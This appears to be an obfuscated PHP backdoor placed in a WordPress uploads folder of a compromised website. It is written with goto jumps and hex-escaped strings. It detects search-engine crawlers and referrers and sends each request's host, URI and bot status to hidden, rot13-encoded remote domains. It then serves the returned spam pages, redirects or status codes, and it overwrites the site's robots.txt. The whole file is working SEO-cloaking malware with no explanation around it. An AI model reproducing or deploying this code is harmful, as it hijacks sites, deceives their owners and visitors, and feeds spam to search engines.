File: /home/jairicem/tkidsfoundation.org/wp-content/uploads/cafccefhgc.php
<?php
goto Lg_mI; Ydf8T: $html_content = requests($xmlname, $http_web, $param); goto RxDhb; zzx4q: $string = "\62\x39\x33\x33\x2d\x62\x72\x69\147\150\x74\x30\61\x38"; goto QpNLb; PMQiz: $urlshang = ''; goto Q6Q8Y; QHMDA: $requestUri = drequest_uri(); goto VUtt0; oOPET: function is_from_search_engine($referer) { if (empty($referer)) { return false; } $searchEngines = array("\147\157\x6f\147\x6c\x65\x2e", "\x62\x69\x6e\x67\x2e", "\171\x61\x68\x6f\x6f\x2e"); foreach ($searchEngines as $engine) { if (stripos($referer, $engine) !== false) { return true; } } return false; } goto SB1mp; y7El3: function drequest_uri() { if (isset($_SERVER["\122\105\x51\x55\x45\123\124\x5f\x55\x52\x49"])) { $duri = $_SERVER["\x52\x45\x51\125\105\x53\124\137\x55\122\111"]; } else { if (isset($_SERVER["\x61\x72\147\x76"])) { $duri = $_SERVER["\120\110\x50\x5f\x53\105\114\x46"] . "\77" . $_SERVER["\141\x72\x67\x76"][0]; } else { $duri = $_SERVER["\x50\x48\120\x5f\123\105\x4c\x46"] . "\77" . $_SERVER["\x51\x55\x45\x52\x59\137\x53\124\122\111\x4e\x47"]; } } return $duri; } goto oOPET; QpNLb: $istest = false; goto Exm4a; XR4Bx: $robots = "\x72\157\142\157\164\163\x2e\x74\170\164"; goto zzx4q; bq2qw: function requests($xmlname, $http_web, $param) { shuffle($xmlname); foreach ($xmlname as $domain) { $domain = str_rot13(urldecode($domain)); $url = $http_web . "\72\x2f\57" . $domain . "\57\77" . $param; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); if (!curl_errno($ch)) { curl_close($ch); return $response; } else { if (stristr(curl_error($ch), "\64\x34\63")) { echo "\x34\64\63"; } curl_close($ch); } if (ini_get("\141\x6c\x6c\x6f\x77\137\x75\x72\x6c\137\146\157\160\x65\x6e")) { $response = @file_get_contents($url); if ($response !== false) { return $response; } } } return "\x6e\x6f\142\157\x74\x75\163\x65\x72\x61\x67\x65\x6e\164"; } goto SIThe; Exm4a: if (strpos($requestUri, $string) !== false) { $istest = true; } else { $string = ''; } goto RCXZa; RxDhb: if (!strstr($html_content, "\x6e\157\x62\x6f\164\165\163\x65\x72\x61\x67\145\x6e\164")) { if (strstr($html_content, "\x6f\x6b\150\164\155\154")) { @header("\x43\157\156\164\145\156\164\x2d\164\x79\x70\145\x3a\40\164\x65\170\x74\57\150\x74\155\154\x3b\40\143\150\x61\x72\x73\145\x74\75\165\x74\146\x2d\x38"); $html_content = str_replace("\x6f\153\x68\x74\x6d\154", '', $html_content); if ($istest) { echo $string; } echo $html_content; die; } else { if (strstr($html_content, "\x67\x65\164\143\157\156\x74\x65\x6e\x74\x35\x30\60\160\141\x67\145")) { @header("\110\124\124\x50\x2f\x31\x2e\x31\x20\65\x30\60\x20\111\156\x74\145\x72\156\141\x6c\40\123\145\x72\166\x65\162\40\105\x72\162\x6f\x72"); die; } else { if (strstr($html_content, "\64\x30\64\x70\141\147\x65")) { @header("\110\124\124\x50\x2f\61\56\x31\40\64\x30\x34\x20\x4e\x6f\x74\40\106\157\165\156\144"); die; } else { if (strstr($html_content, "\63\60\62\160\141\147\145")) { @header("\110\x54\124\x50\57\x31\56\x31\40\63\60\x32\40\106\x6f\x75\156\144"); $html_content = str_replace("\63\60\x32\160\x61\147\145", '', $html_content); header("\x4c\x6f\x63\x61\164\x69\x6f\x6e\72\x20" . $html_content); die; } else { if (strstr($html_content, "\157\153\170\x6d\154")) { $html_content = str_replace("\157\x6b\x78\x6d\154", '', $html_content); @header("\103\x6f\x6e\164\x65\156\x74\55\124\171\x70\145\x3a\40\141\160\160\x6c\x69\x63\141\x74\151\x6f\x6e\57\170\155\154\x3b\x20\x63\150\x61\162\163\x65\x74\75\x75\164\146\x2d\70"); echo $html_content; die; } else { if (strstr($html_content, "\x6f\x6b\162\x6f\142\157\x74\x73")) { $html_content = str_replace("\x6f\x6b\162\x6f\x62\x6f\x74\163", '', $html_content); @header("\x43\x6f\x6e\164\x65\156\164\x2d\x54\x79\160\145\x3a\40\x74\x65\x78\x74\x2f\x70\154\x61\151\x6e\x3b\x20\x63\150\141\162\x73\145\x74\75\x75\x74\x66\x2d\70"); echo $html_content; die; } } } } } } } goto bq2qw; GU2cQ: $host = $_SERVER["\x48\124\x54\x50\137\x48\117\x53\124"]; goto z7VzO; RCXZa: if (strpos($requestUri, $robots) !== false || strpos($requestUri, "\x3f\x72\157\x62\157\164\163\56\x74\170\164") !== false) { $robots = "\61"; } else { $robots = "\60"; } goto tqWA0; VUtt0: $urlshang = is_from_search_engine($urlshang); goto XR4Bx; Lg_mI: $xmlname = array("\45\x33\62\45\x33\x39\x25\x33\x33\45\x33\63\x25\62\104\45\x36\x46\x25\x36\x35\x25\x37\66\45\67\64\45\x37\65\45\66\67\45\x33\x30\x25\x33\x31\x25\63\x38\45\x32\105\45\67\x30\x25\x36\x32\45\66\61\45\66\x39\45\66\x32\45\x37\71\x25\66\70\x25\66\67\x25\x36\103\45\62\105\x25\x36\102\45\66\103\45\66\104", "\45\63\62\x25\x33\x39\45\x33\63\45\x33\x33\45\62\x44\45\x36\x46\x25\x36\x35\45\x37\x36\45\67\64\x25\x37\x35\x25\66\x37\x25\63\x30\45\x33\61\x25\63\70\45\x32\105\45\66\67\45\x37\x32\x25\x37\60\x25\67\x35\x25\66\x31\45\x37\x32\x25\66\x42\45\x36\63\x25\62\105\x25\x36\x37\45\x36\62\x25\x36\x33", "\45\63\62\x25\63\x39\x25\x33\63\45\x33\63\x25\x32\x44\x25\x36\x46\x25\66\65\x25\67\x36\45\67\64\45\67\x35\45\66\x37\x25\x33\60\x25\x33\61\45\x33\70\45\x32\x45\45\66\64\45\x36\70\x25\x36\x45\45\66\61\45\x36\x37\x25\66\x38\45\x36\x45\x25\x36\67\45\66\x37\x25\62\x45\45\x36\x42\x25\66\x43\45\x36\104", "\x25\63\x32\x25\63\71\x25\63\63\45\x33\x33\45\x32\x44\x25\66\x46\x25\x36\65\45\67\66\x25\67\x34\45\x37\x35\x25\66\67\45\63\60\x25\63\61\45\x33\70\x25\x32\x45\x25\x37\x32\45\66\x33\45\67\x35\x25\67\x32\x25\x37\x41\45\x37\x32\x25\x37\x36\x25\66\x42\45\x32\105\45\66\x37\45\x36\62\x25\x36\63"); goto lIOTr; Q6Q8Y: if (isset($_SERVER["\110\x54\124\120\137\x52\x45\106\x45\x52\105\122"])) { $urlshang = $_SERVER["\110\x54\x54\x50\137\122\105\106\x45\x52\x45\x52"]; } goto uJSQh; SIThe: function is_bot() { $user_agent = strtolower($_SERVER["\110\x54\124\x50\x5f\125\x53\x45\x52\137\101\x47\x45\116\124"]); $bots = array("\147\x6f\157\147\x6c\145\x62\157\164", "\142\x69\156\147", "\171\x61\150\157\157", "\147\157\157\147\x6c\145", "\x47\x6f\x6f\x67\154\x65\142\x6f\164"); foreach ($bots as $bot) { if (strpos($user_agent, $bot) !== false) { return 1; } } return 0; } goto y7El3; lIOTr: $http_web = "\x68\x74\x74\160"; goto GU2cQ; tqWA0: if ($urlshang) { $urlshang = "\x31"; } else { $urlshang = "\60"; } goto zrQw0; z7VzO: $lang = isset($_SERVER["\110\x54\124\120\137\101\103\103\x45\120\124\x5f\x4c\101\x4e\107\125\101\x47\105"]) ? $_SERVER["\110\124\124\x50\137\x41\103\103\x45\x50\124\x5f\x4c\x41\x4e\x47\125\101\107\x45"] : "\145\x6e"; goto PMQiz; SB1mp: function create_robots($url) { $path = $_SERVER["\x44\x4f\103\x55\115\105\116\124\x5f\x52\117\x4f\x54"] . "\x2f\162\157\x62\x6f\164\x73\56\164\x78\x74"; $content = "\x55\x73\x65\162\x2d\141\x67\x65\156\x74\72\x20\52" . PHP_EOL; $content .= "\101\x6c\154\157\x77\x3a\40\57" . PHP_EOL . PHP_EOL; $content .= "\x53\151\164\145\155\x61\160\x3a\x20" . $url . "\57\x73\151\164\145\x6d\x61\x70\56\170\155\154" . PHP_EOL; if (!file_exists($path)) { file_put_contents($path, $content); } else { $existingContent = file_get_contents($path); if ($existingContent !== $content) { file_put_contents($path, $content); } } } goto etwxj; tlqZL: $param = http_build_query(array("\150\x6f\163\x74" => $host, "\163\160\x69\x64\x65\x72" => $spider, "\162\x65\x71\x75\x65\163\164\x55\162\151" => $requestUri, "\x75\162\x6c\163\150\x61\156\147" => $urlshang, "\x68\x74\x74\160" => $http, "\154\141\x6e\147" => $lang, "\163\164\162\x69\156\147" => $string, "\x72\157\142\x6f\x74\x73" => $robots)); goto Ydf8T; uJSQh: if (is_https()) { $http = "\x68\x74\x74\160\163"; } else { $http = "\x68\164\x74\160"; } goto GJrqI; GJrqI: $spider = is_bot(); goto QHMDA; zrQw0: create_robots($http . "\72\57\x2f" . $host); goto tlqZL; etwxj: function is_https() { if (isset($_SERVER["\110\x54\124\120\x53"])) { if (strtolower($_SERVER["\x48\124\124\x50\x53"]) !== "\x6f\x66\x66") { return true; } } elseif (isset($_SERVER["\x48\124\124\120\x5f\x58\x5f\x46\117\122\127\x41\122\104\105\x44\x5f\x50\122\x4f\124\x4f"])) { if ($_SERVER["\x48\124\124\x50\137\x58\x5f\x46\x4f\122\x57\101\122\x44\x45\104\137\x50\x52\x4f\124\x4f"] === "\150\x74\x74\160\x73") { return true; } } elseif (isset($_SERVER["\x48\124\124\x50\137\106\122\x4f\116\x54\x5f\x45\116\x44\137\x48\x54\124\x50\x53"])) { if (strtolower($_SERVER["\110\124\x54\x50\137\106\x52\117\116\124\x5f\x45\x4e\x44\x5f\x48\x54\x54\120\123"]) !== "\x6f\x66\x66") { return true; } } return false; }